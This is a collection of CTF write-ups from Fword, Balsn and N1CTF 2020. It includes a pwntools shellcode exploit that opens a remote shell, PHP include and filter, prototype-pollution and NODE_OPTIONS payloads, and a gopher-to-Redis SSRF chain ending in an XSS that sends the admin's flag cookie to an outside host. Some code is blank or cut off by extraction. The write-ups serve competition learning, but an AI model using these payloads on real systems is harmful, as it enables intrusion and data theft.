121 | And we just got the flag in the `/opt/workdir` directory
122 |
123 | ```
124 | BALSN{What_permissions_does_the_service_account_need}
125 | ```
126 |
--------------------------------------------------------------------------------
/2020/Balsn CTF 2020/web/The Woven/the_woven_web.py:
--------------------------------------------------------------------------------
1 | from flask import Flask
2 | app = Flask(__name__)
3 |
4 | @app.route('/index.html')
5 | def hello_world():
6 | r = """
7 |
8 |
9 |
22 |
24 |
27 |
28 |
29 | """
30 |
31 | return r,{"Content-Disposition":'attachment; filename="wtf22.html"'}
32 |
33 | if(__name__=="__main__"):
34 | app.run("0.0.0.0",4000)
35 |
36 | #How to solve:
37 | # 1. Host this somewhere
38 | # 2. Enter url of `index.html` to the bot, Then chrome will download file as wtf22.html and will save it in Downloads folder.
39 | # 3. Then send this url of saved file to bot: "file:///home/user/Downloads/wtf22.html"
40 | # 4. Flag will be sent to https://webhook.site/X
41 |
--------------------------------------------------------------------------------
/2020/Fword CTF 2020/README.md:
--------------------------------------------------------------------------------
1 | # FwordCTF 2020 (Online)
2 |
3 | * 29.08.2020 17:00 UTC ~ 30.08.2020 17:00 UTC
4 | [Official URL]: (https://ctf.fword.wtf/)
5 | [Event Organizers]: (https://ctftime.org/team/72251/)
6 | ---
7 | We finally ranked in #5
8 | * Rank : #5
9 | * CTF points : 16622.000
10 |
11 | 
12 |
--------------------------------------------------------------------------------
/2020/Fword CTF 2020/pwn/One piece Remake/README.md:
--------------------------------------------------------------------------------
1 | # One Piece Remake
2 |
3 | ## Analysis
4 | The vulnerability looks pretty simple.
5 |
6 | ```c
7 | menu();
8 | while ( 1 )
9 | {
10 | while ( 1 )
11 | {
12 | printf("(menu)>>");
13 | fgets(&s, 15, stdin);
14 | if ( strcmp(&s, "read\n") )
15 | break;
16 | readSC();
17 | }
18 | if ( !strcmp(&s, "run\n") )
19 | {
20 | runSC();
21 | }
22 | else if ( !strcmp(&s, "gomugomunomi\n") )
23 | {
24 | mugiwara();
25 | }
26 | else
27 | {
28 | if ( !strcmp(&s, "exit\n") )
29 | exit(1);
30 | puts("can you even read ?!");
31 | }
32 | }
33 | ```
34 |
35 | We can input the shellcode to memory just use readSC() function.
36 | And execute the shellcode which wrote by us to memory just use runSC() function.
37 |
38 | However, the size of memory does not seem to be enough.
39 | So we need to think differently, there is format string bug in mugiwara() function, but we don't need to use this vulnerability.
40 |
41 | We can spray shellcodes through the mugiwara() function.
42 |
43 | ```c
44 | int mugiwara()
45 | {
46 | char buf; // [sp+Ch] [bp-6Ch]@1
47 |
48 | puts("what's your name pirate ?");
49 | printf(">>");
50 | read(0, &buf, 0x64u);
51 | printf(&buf);
52 | return 0;
53 | }
54 | ```
55 |
56 | Thus, we just spray shellcodes through the mugiwara() function, and just jump to this relative offsets.
57 | But, some memory pointers overwrite our intact shellcodes, so our shellcode will be corrupted by stack unwinding.
58 | We can use only 16 bytes for shellcoding, I just use instructions for storing values to specific memory and just increseaing our esp register, and retn.
59 |
60 | ```
61 | 0: 83 ec 60 sub esp,0x60
62 | 3: ff e4 jmp esp
63 | ```
64 |
65 | We can use this two instructions for execute our shellcodes which are smaller than 16 bytes.
66 | And finally we can write 4 bytes to specific addresses.
67 |
68 | ```
69 | 5: b8 11 22 33 44 mov eax,0x44332211
70 | a: c7 00 aa bb cc dd mov DWORD PTR [eax],0xddccbbaa
71 | 10: 83 c4 60 add esp,0x60
72 | 13: c3 ret
73 | ```
74 |
75 | And, there is no NX mitigations, we may execute the shellcodes on bss sections.
76 | Finally, i wrote all of my shellcodes to bss section, and finally jumped to my shellcode safely.
77 |
78 | ```python
79 | from pwn import *
80 |
81 | def pad_shellcode(shellcode):
82 | if len(shellcode) % 4 != 0:
83 | shellcode += ("\x90" * (4 - (len(shellcode) % 4)))
84 | return shellcode
85 |
86 | def write_4_bytes_to_address(address, codes):
87 | p.recvuntil("(menu)>>")
88 | p.sendline("read")
89 | p.recvuntil(">>")
90 | p.send("\x83\xec\x60\xff\xe4")
91 | p.recvuntil("(menu)>>")
92 | p.sendline("gomugomunomi")
93 | p.recvuntil(">>")
94 | payload = "\xb8" + p32(address)
95 | payload += "\xc7\x00" + codes
96 | payload += "\x83\xc4\x60"
97 | payload += "\xc3"
98 | p.send(payload)
99 | p.recvuntil("(menu)>>")
100 | p.sendline("run")
101 |
102 | def execute_shell():
103 | p.recvuntil("(menu)>>")
104 | p.sendline("read")
105 | p.recvuntil(">>")
106 | p.send("\x83\xec\x60\xff\xe4")
107 | p.recvuntil("(menu)>>")
108 | p.sendline("gomugomunomi")
109 | p.recvuntil(">>")
110 | payload = "\xb8\x48\xa0\x04\x08"
111 | payload += "\xff\xd0"
112 | p.send(payload)
113 | p.recvuntil("(menu)>>")
114 | p.sendline("run")
115 |
116 | sub_esp = "\x81\xec\x00\x02\x00\x00"
117 | shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\x31\xd2\xcd\x80"
118 | shellcode = pad_shellcode(shellcode)
119 |
120 | #p = process("./one_piece_remake")
121 | p = remote("onepiece.fword.wtf", 1236)
122 | for i in range(0, len(shellcode), 4):
123 | write_4_bytes_to_address(0x0804a048 + i, shellcode[i:i+4])
124 |
125 | execute_shell()
126 | p.interactive()
127 | ```
128 |
129 | Flag : FwordCTF{i_4m_G0inG_t0_B3coM3_th3_p1r4Te_K1NG}
--------------------------------------------------------------------------------
/2020/Fword CTF 2020/rev/Auto/README.md:
--------------------------------------------------------------------------------
1 | # Auto - 28 Solves
2 |
3 | ## Analysis
4 | This compressed 7z file consists of more than hundreds files, there are 400 binaries in file.
5 | Each file in 7z compressed file internal codes just like this.
6 |
7 | ```c
8 | v9 = 10 * (v5[v8 - 2] - 48) + v7;
9 | LODWORD(v10) = sub_10C0(v5);
10 | sub_10F0(v13, "./out%03d %s", (unsigned int)(v9 + v5[v10 - 1] - 48 + 1), v12 + 2);
11 | if ( (*v12 + 496 + v12[1]) >> 1 != 331 || *v12 + (char)(*v12 ^ v12[1]) != 92 || *v12 * v12[1] != 6880 )
12 | {
13 | sub_10B0("NOOOOOOOOOOOOOOOOOOOO");
14 | result = 0;
15 | }
16 | else
17 | {
18 | LODWORD(v11) = sub_10C0(v12);
19 | ```
20 |
21 | sub_10F0 is just for sprintf function, this code generates the name of next file of this current executed binary, and there are almost same codes in 400 binaries.
22 | Thus, if we can extract the calculated variables of each files, such as 406. 1. 331. 02. 6880 based on above code snippets.
23 | We can calculate the password key which used for executing next corrected binaries without angr framework.
24 |
25 | For solve these equations, i just use the SMT Solver library like 'z3'. I extracted values for these equations from all binaries.
26 |
27 | ```python
28 | import struct
29 | from z3 import *
30 |
31 | u32 = lambda x: struct.unpack("> shift_value) == cmp_value)
53 | s.add(((x + (x ^ y)) & 0xff) == cmp_value_2)
54 | s.add((x * y) == cmp_value_3)
55 | s.add(x >= 0x30)
56 | s.add(x <= 0x122)
57 | s.add(y >= 0x30)
58 | s.add(y <= 0x122)
59 | s.check()
60 | m = s.model()
61 | return chr(m[x].as_long()) + chr(m[y].as_long())
62 |
63 | result = ""
64 | for i in range(0, 400):
65 | filename = "./out{0:03d}".format(i)
66 | result_ = parse_from_file(filename)
67 | print("%s => %s" % (filename, result_))
68 | result += result_
69 | print(result)
70 | ```
71 |
72 | Flag : FwordCTF{4r3_Y0u_4_r0b0t}
--------------------------------------------------------------------------------
/2020/Fword CTF 2020/rev/Welcome Reverser/README.md:
--------------------------------------------------------------------------------
1 | # Welcome Pwner - 107 solves
2 |
3 | ## Analysis
4 |
5 | I always have a habit, using the
6 | ```bash
7 | pwn checksec --file ./binary
8 | ```
9 | command (or if think differently, this is old conventions of almost pwners)
10 | Anyway, we can see this result (In below code snippets)
11 | ```bash
12 | yeon@sqrtrev:~$ pwn checksec --file ./welcome
13 | [*] '/home/yeon/welcome'
14 | Arch: amd64-64-little
15 | RELRO: Full RELRO
16 | Stack: Canary found
17 | NX: NX enabled
18 | PIE: PIE enabled
19 | yeon@sqrtrev:~$
20 | ```
21 |
22 | There are a lot of memory mitigations were used. But, we just debug reverse engineering challenge, not pwning challenge.
23 | Thus, we don't need to consider this mitigations.
24 | But to explain one interesting technique, we can debug binaries which used PIE (Position Independent Executable) just using GDB, we don't need to use IDA remote debugger.
25 |
26 | ```bash
27 | gdb-peda$ b *0x0
28 | Breakpoint 1 at 0x0
29 | gdb-peda$ r
30 | Starting program: /home/yeon/welcome
31 | Warning:
32 | Cannot insert breakpoint 1.
33 | Cannot access memory at address 0x0
34 |
35 | gdb-peda$ i b
36 | Num Type Disp Enb Address What
37 | 1 breakpoint keep y 0x0000000000000000
38 | gdb-peda$ del 1
39 | gdb-peda$ x/3i $pc
40 | => 0x7ffff7dd6090: mov rdi,rsp
41 | 0x7ffff7dd6093: call 0x7ffff7dd6ea0
42 | 0x7ffff7dd6098: mov r12,rax
43 | gdb-peda$
44 | ```
45 | If you set a breakpoint to address 0x0, and continue to run. The application started and GDB will prints 'Cannot access memory at address 0x0'.
46 | This message is just warning message, not error message. Thus, this application executed normally but stopped at application loaded point.
47 |
48 | ```bash
49 | Breakpoint 2, 0x00007ffff7dd60d4 in ?? ()
50 | gdb-peda$ x/3i $pc
51 | => 0x7ffff7dd60d4: jmp r12
52 | 0x7ffff7dd60d7: nop WORD PTR [rax+rax*1+0x0]
53 | 0x7ffff7dd60e0: add DWORD PTR [rdi+0x4],0x1
54 | gdb-peda$
55 | ```
56 |
57 | And, we can see an assembly gadget, 'jmp r12'. Its r12 gadget have an address for entry point of ELF binaries.
58 |
59 | ```bash
60 | gdb-peda$ x/20i $r12
61 | => 0x555555555160: endbr64
62 | 0x555555555164: xor ebp,ebp
63 | 0x555555555166: mov r9,rdx
64 | 0x555555555169: pop rsi
65 | 0x55555555516a: mov rdx,rsp
66 | 0x55555555516d: and rsp,0xfffffffffffffff0
67 | 0x555555555171: push rax
68 | 0x555555555172: push rsp
69 | 0x555555555173: lea r8,[rip+0x586] # 0x555555555700
70 | 0x55555555517a: lea rcx,[rip+0x50f] # 0x555555555690
71 | 0x555555555181: lea rdi,[rip+0x409] # 0x555555555591
72 | 0x555555555188: call QWORD PTR [rip+0x2e52] # 0x555555557fe0
73 | 0x55555555518e: hlt
74 | 0x55555555518f: nop
75 | 0x555555555190: lea rdi,[rip+0x2e79] # 0x555555558010
76 | 0x555555555197: lea rax,[rip+0x2e72] # 0x555555558010
77 | 0x55555555519e: cmp rax,rdi
78 | 0x5555555551a1: je 0x5555555551b8
79 | 0x5555555551a3: mov rax,QWORD PTR [rip+0x2e2e] # 0x555555557fd8
80 | 0x5555555551aa: test rax,rax
81 | gdb-peda$ x/10i 0x555555555591
82 | 0x555555555591: endbr64
83 | 0x555555555595: push rbp
84 | 0x555555555596: mov rbp,rsp
85 | 0x555555555599: sub rsp,0x20
86 | 0x55555555559d: mov DWORD PTR [rbp-0x14],edi
87 | 0x5555555555a0: mov QWORD PTR [rbp-0x20],rsi
88 | 0x5555555555a4: mov eax,0x0
89 | 0x5555555555a9: call 0x555555555249
90 | 0x5555555555ae: mov edi,0x10
91 | 0x5555555555b3: call 0x555555555110
92 | gdb-peda$
93 | ```
94 |
95 | We can find the main function, just by tracking the arguments.
96 |
97 | ```c
98 | __asm { rep nop edx }
99 | v9 = a3;
100 | sub_1249(a4);
101 | LODWORD(v4) = sub_1110(16LL);
102 | v8 = v4;
103 | sub_10D0("Hello give me the secret number so i can get the flag:");
104 | sub_1140("%s", v8);
105 | if ( sub_1335(v8) )
106 | {
107 | LODWORD(v5) = sub_10E0(v8);
108 | if ( v5 == 16 )
109 | {
110 | v6 = sub_1391(v8);
111 | if ( !((v6 + sub_1421(v8)) % 10) )
112 | {
113 | sub_12AE();
114 | return 0LL;
115 | }
116 | sub_10D0("no thats not my number:(");
117 | }
118 | }
119 | sub_10D0("no Flag for u");
120 | ```
121 |
122 | In IDA disassembler, both the function names and the PLT names were stripped.
123 | So we should guess the function names, just like sub_1110 is malloc().
124 |
125 | I guessed the function names.
126 | ```
127 | sub_1249() : init function for setvbuf
128 | sub_1120() : setvbuf
129 | sub_1110() : malloc
130 | sub_10D0() : puts
131 | sub_1140() : scanf
132 | sub_10E0() : strlen
133 | ```
134 |
135 | There are two key point functions, sub_1391(), sub_1421(), sub_12AE()
136 | sub_12AE() is the function for printing contents of flag.txt
137 | Thus, we need to make addition of outputs from calculations by sub_1391() and sub_1421() to multiples of 10.
138 |
139 | We don't need to consider the outputs of these two functions.
140 |
141 | ```c
142 | for ( i = 0; ; i = 4 - (i ^ 2) + 2 * (i & 0xFFFFFFFD) )
143 | {
144 | LODWORD(v1) = sub_10E0(a1);
145 | if ( (signed int)i >= v1 )
146 | break;
147 | v4 = 2 * (*(_BYTE *)((signed int)i + a1) - 48);
148 | if ( (signed int)(3 * (~v4 & 0xFFFFFFF7) + 2 * ~(v4 ^ 0xFFFFFFF7) + 3 * (v4 & 8) - 2 * ~(v4 & 0xFFFFFFF7)) > 0 )
149 | v4 = (v4 % 10 ^ v4 / 10) + 2 * (v4 % 10 & v4 / 10);
150 | v3 += v4;
151 | }
152 | ```
153 |
154 | This is sub_1421 function, the i variable will be changed to 0, 2, 4, 6, ...
155 |
156 | ```c
157 | for ( i = 1; ; i += 2 )
158 | {
159 | LODWORD(v1) = sub_10E0(a1);
160 | if ( i >= v1 )
161 | break;
162 | v3 = (v3 ^ (*(_BYTE *)(i + a1) - 48)) + 2 * (~v3 | (*(_BYTE *)(i + a1) - 48)) - 2 * ~v3;
163 | }
164 | ```
165 |
166 | And this is sub_1391 function, the i variable will be changed to 1, 3, 5, 7, ...
167 | Thus, we just assume one randomized string only consists of numerical characters, such as '1111222233334444'. Then, we just replace one character to other numerical characters.
168 |
169 | ```yeon@sqrtrev:~$ ./welcome
170 | Hello give me the secret number so i can get the flag:
171 | 1111222233334444
172 | hello flag flag flag
173 |
174 | yeon@sqrtrev:~$ ./welcome
175 | Hello give me the secret number so i can get the flag:
176 | 1111222233334445
177 | no thats not my number:(
178 | no Flag for u
179 | yeon@sqrtrev:~$
180 | ```
181 |
182 | Flag :
183 | ```
184 | FwordCTF{luhn!_wh4t_a_w31rd_n4m3}
185 | ```
--------------------------------------------------------------------------------
/2020/Fword CTF 2020/static/rank.PNG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/Fword CTF 2020/static/rank.PNG
--------------------------------------------------------------------------------
/2020/Fword CTF 2020/web/Buried/README.md:
--------------------------------------------------------------------------------
1 | ## Buried(9 solves, second blood)
2 |
3 | ```
4 | Flag in flag.php.
5 |
6 | link
7 |
8 | Author: HERA
9 | ```
10 |
11 | ```php
12 | ');
36 | include($file);
37 |
38 | }else{
39 | die("How dare u!");
40 | }
41 | }else{
42 | die("How dare u!");
43 | }
44 |
45 | }else{
46 | die("How dare u!");
47 | }
48 |
49 |
50 | }else{
51 | die("How dare u!");
52 | }
53 |
54 |
55 | }else{
56 | die("How dare u!");
57 | }
58 |
59 | }else{
60 | die("How dare u!");
61 | }
62 | }else{
63 | die("How dare u!");
64 | }
65 |
66 | ?>
67 | ```
68 |
69 | As we can use `a-zA-Z$_;`, I'll try something fun.
70 |
71 | And, if we check `phpinfo()`, All the functions were disabled.
72 |
73 | The thing we have to know is `$_GET` or `$_POST` is treating as an array in php. So, we can use `foreach` with `$_GET`. But we need to bypass `if (sizeof($_REQUEST)===1 && sizeof($_POST)===1)`. How?
74 |
75 | ```php
76 | $file="./files/".rand().'.php';
77 | file_put_contents($file,'');
78 | ```
79 |
80 | As the file written in `./files` directory, I can access directly. So, this one will be a method of bypass.
81 |
82 | And, I can also leak whole path via `__FILE__`.
83 |
84 | So, the payload of mine was
85 |
86 | ```php
87 | cmd=echo __FILE__;foreach($_GET as $key => $value) include $value;
88 | ```
89 |
90 | I used `include` for getting file contents. We need to use `php wrapper` because all the functions of PHP were disabled. So, the final payload will be like this
91 |
92 | ```
93 | http://buried.fword.wtf/files/530964126.php?asd=php://filter/convert.base64-encode/resource=../flag.php
94 | ```
95 |
96 |
97 |
98 | This is unintended solution. Intended one was lua exploit.
--------------------------------------------------------------------------------
/2020/Fword CTF 2020/web/Otaku/README.md:
--------------------------------------------------------------------------------
1 | ## Okatu(8 solves, first blood)
2 |
3 | Author: sqrtrev
4 |
5 | (Solved by Jazzy, I just made an idea)
6 |
7 | ```
8 | Javascript is fun too, well everything becomes fun when it's merged with Anime!
9 |
10 | Flag is in /flag.txt
11 |
12 | LINK
13 |
14 | Author: _**KAHLA**_
15 | ```
16 |
17 | check the part `app.post` for `/update`.
18 |
19 | ```js
20 | app.post("/update",(req,res)=>{
21 | try{
22 | if(req.session.username && req.session.anime){
23 | if(req.body.username && req.body.anime){
24 | var query=JSON.parse(`{"$set":{"username":"${req.body.username}","anime":"${req.body.anime}"}}`);
25 | client.connect((err)=>{
26 | if (err) return res.render("update",{error:"An unknown error has occured"});
27 | const db=client.db("kimetsu");
28 | const collection=db.collection("users");
29 | collection.findOne({"username":req.body.username},(err,result)=>{
30 | if (err) {return res.render("update",{error:"An unknown error has occured"});console.log(err);}
31 | if (result) return res.render("update",{error:"This username already exists, Please use another one"});});
32 | collection.findOneAndUpdate({"username":req.session.username},query,{ returnOriginal: false },(err,result)=>{
33 | if (err) return res.render("update",{error:"An unknown error has occured"});
34 | var newUser={};
35 | var attrs=Object.keys(result.value);
36 | attrs.forEach((key)=>{
37 | newUser[key.trim()]=result.value[key];
38 | if(key.trim()==="isAdmin"){
39 | newUser["isAdmin"]=0;
40 | }
41 | });
42 | req.session.username=newUser.username;
43 | req.session.anime=newUser.anime;
44 | req.session.isAdmin=newUser.isAdmin;
45 | req.session.save();
46 | return res.render("update",{error:"Updated Successfully"});
47 | });
48 | });
49 |
50 | }
51 | else return res.render("update",{error:"An unknown error has occured"});
52 | }
53 | else res.redirect(302,"/login");
54 | }
55 | catch(err){
56 | console.log(err);
57 | }
58 | });
59 | ```
60 |
61 | We can realize the vulnerability `Prototype Pollution` easily in this part,
62 |
63 | ```js
64 | var query=JSON.parse(`{"$set":{"username":"${req.body.username}","anime":"${req.body.anime}"}}`);
65 |
66 | /... skip .../
67 |
68 | var newUser={};
69 | var attrs=Object.keys(result.value);
70 | attrs.forEach((key)=>{
71 | newUser[key.trim()]=result.value[key];
72 | if(key.trim()==="isAdmin"){
73 | newUser["isAdmin"]=0;
74 | }
75 | });
76 | ```
77 |
78 | We can injection something for `Prototype Pollution` on `JSON.parse` part.
79 |
80 | So, The payload will be like this
81 |
82 | ```
83 | username=fboi", "__proto__ ":{"isAdmin":1}, "kms":"lms&anime=fboi
84 | ```
85 |
86 | This will make the JSON object like this
87 |
88 | ```json
89 | {"$set":{"username":"fboi", "__proto__ ":{"isAdmin":1}, "kms":"lms","anime":"fboi"}}
90 | ```
91 |
92 | Of course, this will lead me for being admin by `Prototype Pollution`.
93 |
94 | After having admin permission, we can do some acts with below code.
95 |
96 | ```js
97 | app.post("/admin",(req,res)=>{
98 | if(req.session.isAdmin){
99 | var envName=req.body.envname;
100 | var env=req.body.env;
101 | var path=req.body.path;
102 | if(env && envName && path){
103 | if(path.includes("app.js") || path.includes("-")) return res.render("admin",{msg:"Not allowed"});
104 | process.env[envName] = env;
105 | const child = execFile('node', [path], (error, stdout, stderr) => {
106 | if (error) {
107 | console.log(error);
108 | return res.render("admin",{msg:"An error has occured"});
109 | }
110 | return res.render("admin",{msg:stdout});
111 | });
112 | }
113 | else res.redirect(302,"/home");
114 | }
115 | else res.redirect(302,"/home");
116 | })
117 | ```
118 |
119 | We will use node options for leaking flag.txt.
120 |
121 | Node.js has the option `--report-filename` and `--report-uncaught-exception`. So, I'll use this.
122 |
123 | As we don't know the location of application directory, I used `/proc/self/cwd`. And `/static` folder will be very helpful(We can access there!).
124 |
125 | Following this, the payload will be:
126 |
127 | ```
128 | envname=NODE_OPTIONS&env=--report-filename=/proc/self/cwd/static/js/siceme --report-uncaught-exception -r /flag.txt&path=config.js
129 | ```
130 |
131 | So, the flag will be `http://url/static/js/siceme`.
132 |
133 |
--------------------------------------------------------------------------------
/2020/Fword CTF 2020/web/pastaxss/README.md:
--------------------------------------------------------------------------------
1 | # PastaXSS - 5 solves
2 |
3 | ## Information
4 |
5 | The task was provided with source code and had many php files but here are important stuff.
6 | ### Markdown in jutsus description
7 |
8 | The code that implemented markdown used `htmlspecialchars` with `redis` for caching and [knp-markdown-bundle](https://github.com/KnpLabs/KnpMarkdownBundle) as markdown conversion.
9 |
10 | 
11 | ### Redis
12 | `redis` is used for caching jutsu descriptions and it's address was `redis://redis`.
13 |
14 | All jutsus had id, And each jutsu, has it's description in cache with following format.
15 |
16 | `jutsu(jutsuID)`
17 |
18 | ### CURL
19 | Also There was functionality in challenge that let us to import jutsu with curl.
20 |
21 | 
22 |
23 | ### Report to admin bot
24 |
25 | We could send our jutsu link to admin bot and he would visit it with flag in his cookies.
26 |
27 | The bot was implemented with `PhantomJS` and was only accepting urls that match following regex.
28 |
29 | `/^http://web1.fword.wtf/jutsu/\d*$/`
30 |
31 | ## Part 1 - Gopher
32 |
33 | Gopher is so useful for SSRF attacks and lets you to attack some juicy stuff like [databases](https://tarun05blog.wordpress.com/2018/02/05/ssrf-through-gopher/) or [uWSGI servers](https://zaratec.github.io/2018/12/20/rwctf2018-magic-tunnel/).
34 |
35 | Gopher is going to help us much for exploiting `redis`.
36 |
37 | ## Part 1 - Exploit redis with SSRF
38 |
39 | There was blacklist filtering that prevented us from using `file` and few other things.
40 |
41 |
42 | fortunately `redis` hostname was not filtered so we could communicate with it.
43 |
44 | Executing commands on `redis` with `gopher`, is easier than it sounds like. The following principle worked for this SSRF attack.
45 |
46 | ` curl 'gopher://redis:6379/_urlencode(command)'`
47 |
48 | So we could grab all keys with this url.
49 |
50 | `gopher://redis:6379/_KEYS%20%2A`
51 |
52 | Which resulted to:
53 |
54 | 
55 |
56 | ## Part 2 - Change our jutsu description with SSRF
57 |
58 | So lets try to change our jutsu description with SSRF to redis.
59 |
60 | We know that our jutsu description is in cache and also we have it's name. All jutsus that set in redis from php are prefixed with `yLAP6wFwIy:`, which i guess it's for namespacing.
61 |
62 | We could like grab our jutsu 5598 description with this url:
63 |
64 | `gopher://redis:6379/_GET%20yLAP6wFwIy%3Ajutsu5598`
65 |
66 | Which result to
67 |
68 | `$24 s:16:"sdfsdfsf
";`
69 |
70 | This is our php serialized jutsu description after conversion to markdown. what we set here won't go though `htmlspecialchars` and markdown conversion xD.
71 |
72 | So to change jutsu's description to something like `itworked`, we should set `yLAP6wFwIy:jutsu5598` to php serialized format of `itworked` which is `s:8:"itworked";`.
73 |
74 | This url would do the job.
75 |
76 | `gopher://redis:6379/_SET%20yLAP6wFwIy%3Ajutsu5598%20%27s%3A8%3A%22itworked%22%3B%27`
77 |
78 | > We can wrap our set value in quotes or single quotes to avoid some parsing problems.
79 |
80 | ### part 3 - XSS in jutsu
81 |
82 | So we can inject description in our jutsu and bypass `htmlspecialchars`. The next step would be put xss payload in our jutsu's description and report it to admin and grab flag.
83 |
84 | We used following url to put payload in our jutsu.
85 |
86 | `gopher://redis:6379/_SET%20yLAP6wFwIy%3Ajutsu5598%20%27s%3A81%3A%22%3Cscript%20src%3D%22URL%22%3E%3C%2Fscript%3E%22%3B%27`
87 |
88 | And we put `document.location="https://yourwebsite/?a="+flag` in our embedded script.
89 |
90 | Reported our jutsu to admin, And we got the flag.
91 |
92 | >FLAG: FwordCTF{Y0u_Only_h4vE_T0_cH4in_4nd_Th1nk_w3ll}
93 |
94 | Thanks to my amazing teammates and ctf authors.
95 |
--------------------------------------------------------------------------------
/2020/Fword CTF 2020/web/pastaxss/imgs/writeup1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/Fword CTF 2020/web/pastaxss/imgs/writeup1.png
--------------------------------------------------------------------------------
/2020/Fword CTF 2020/web/pastaxss/imgs/writeup2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/Fword CTF 2020/web/pastaxss/imgs/writeup2.png
--------------------------------------------------------------------------------
/2020/Fword CTF 2020/web/pastaxss/imgs/writeup3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/Fword CTF 2020/web/pastaxss/imgs/writeup3.png
--------------------------------------------------------------------------------
/2020/N1CTF 2020/crypto/BabyProof/README.md:
--------------------------------------------------------------------------------
1 | ## BabyProof
2 |
3 | ```python
4 | from hashlib import sha256
5 |
6 | from Crypto.Util.number import getRandomRange
7 | from Crypto.PublicKey import DSA
8 |
9 | from secret import proof_of_work, flag
10 |
11 |
12 | x = int.from_bytes(flag, 'big')
13 | assert x.bit_length() == 247
14 |
15 |
16 | def baby_proof():
17 | key = DSA.generate(3072) # It takes time to generate, plz be patient...
18 | p, q, g = key.domain()
19 | y = pow(g, x, p)
20 |
21 | v = getRandomRange(1, x)
22 | t = pow(g, v, p)
23 |
24 | gyt = b"".join(
25 | map(
26 | lambda x: int.to_bytes(len(str(x)), 4, 'big') + str(x).encode(),
27 | (g, y, t)
28 | ))
29 | c = int.from_bytes(sha256(gyt).digest(), 'big')
30 | r = (v - c*x) % q
31 |
32 | print("I want to prove to you that I am in the knowledge of the discrete "
33 | "logarithm x that satisfies g^x = y modulo p, with the order of g "
34 | "modulo p being q.")
35 | print("However, I don't want to leak any information about x.")
36 | print("So, I use a non-interactive zero-knowledge proof for my purpose.")
37 | print("=================================================================")
38 | print("Here is my proof: ")
39 | print("Firstly, I choose a random (secret) v and compute t = g^v in Zq.")
40 | print("Secondly, I compute c = SHA256(g, y, t).")
41 | print("Then, I compute r = v - cx modulo q.")
42 | print("Finally, I will send you my proof (t, r).")
43 | print("You can check it by determining whether t == g^r * y^c or not.")
44 | print("Since there's negligible probability that I could forge the value "
45 | "r, you should believe that I really have knowledge of x.")
46 | print(g, y, p, q, t, r, sep="\n")
47 |
48 |
49 | if __name__ == "__main__":
50 | if proof_of_work():
51 | baby_proof()
52 | ```
53 |
54 | The key here is that xx is quite small compared to 22562256, and vv is selected in [1,x][1,x].
55 |
56 | Given the printed parameters, we can directly obtain the value of cc as well. We see that
57 |
58 | 
59 |
60 | Since xx's bit length is 247247, we get 1≤v≤22471≤v≤2247 and can write something like
61 |
62 | 
63 |
64 | This is an instance of Hidden Number Problem, so just gather a lot of these information and solve it.
65 |
66 | ```python
67 | d = 60 ## get 60 instances
68 | M = Matrix(ZZ, d+1, d+1)
69 | for i in range(0, d):
70 | M[0, i] = cs[i]
71 | M[0, d] = 1
72 | for i in range(0, d):
73 | M[i+1, i] = qs[i]
74 |
75 | Target = [0] * (d+1)
76 | for i in range(0, d):
77 | Target[i] = (2 ** 246) - rs[i]
78 | Target[d] = (2 ** 246)
79 |
80 | M = M.LLL()
81 | GG = M.gram_schmidt()[0]
82 | Target = vector(Target)
83 | TT = Babai_closest_vector(M, GG, Target)
84 |
85 | x = TT[d]
86 | print(x)
87 | print(bytes.fromhex(hex(x)[2:]))
88 | ```
89 |
90 |
--------------------------------------------------------------------------------
/2020/N1CTF 2020/crypto/BabyProof/e1.PNG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/N1CTF 2020/crypto/BabyProof/e1.PNG
--------------------------------------------------------------------------------
/2020/N1CTF 2020/crypto/BabyProof/e2.PNG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/N1CTF 2020/crypto/BabyProof/e2.PNG
--------------------------------------------------------------------------------
/2020/N1CTF 2020/crypto/FlagBot/README.md:
--------------------------------------------------------------------------------
1 | ## FlagBot
2 |
3 | ```python
4 | from hashlib import sha256
5 | from Crypto.Cipher import AES
6 | from Crypto.Util.number import long_to_bytes, bytes_to_long
7 | from Crypto.Util.Padding import pad, unpad
8 | import base64
9 | from secret import flag
10 |
11 | RECEIVER_NUM = 7
12 |
13 | def generate_safecurve():
14 | while True:
15 | p = random_prime(2 ^ 256-1, False, 2 ^ 255)
16 | a = randint(-p, p)
17 | b = randint(-p, p)
18 |
19 | if 4*a^3 + 27*b^2 == 0:
20 | continue
21 |
22 | E = EllipticCurve(GF(p), [a, b])
23 |
24 | fac = list(factor(E.order()))
25 |
26 | # Prevent rho method
27 | if fac[-1][0] < 1 << 80:
28 | continue
29 |
30 | # Prevent transfer
31 | for k in range(1, 20):
32 | if (p ^ k - 1) % fac[-1][0] == 0:
33 | break
34 | else:
35 | return E
36 |
37 | class Sender:
38 | def __init__(self, curves, receivers):
39 | self.secret = randint(1 << 254, 1 << 255)
40 | self.curves = curves
41 | self.receivers = receivers
42 | self.shared_secrets = [None for _ in range(len(receivers))]
43 |
44 | def setup_connections(self):
45 | for idx, receiver in enumerate(self.receivers):
46 | curve = self.curves[idx]
47 | print(f"curves[{idx}] : {curve}")
48 | g = self.curves[idx].gens()[0]
49 | print(f"g[{idx}] = {g.xy()}")
50 | receiver.set_curve(curve, g)
51 | public = self.secret * g
52 | print(f"S_pub[{idx}] = {public.xy()}")
53 | yours = receiver.key_exchange(public)
54 | print(f"R_pub[{idx}] = {yours.xy()}")
55 | self.shared_secrets[idx] = yours * self.secret
56 |
57 | def send_secret(self):
58 | msg = b'Hi, here is your flag: ' + flag
59 | for idx, receiver in enumerate(self.receivers):
60 | px = self.shared_secrets[idx].xy()[0]
61 | _hash = sha256(long_to_bytes(px)).digest()
62 | key = _hash[:16]
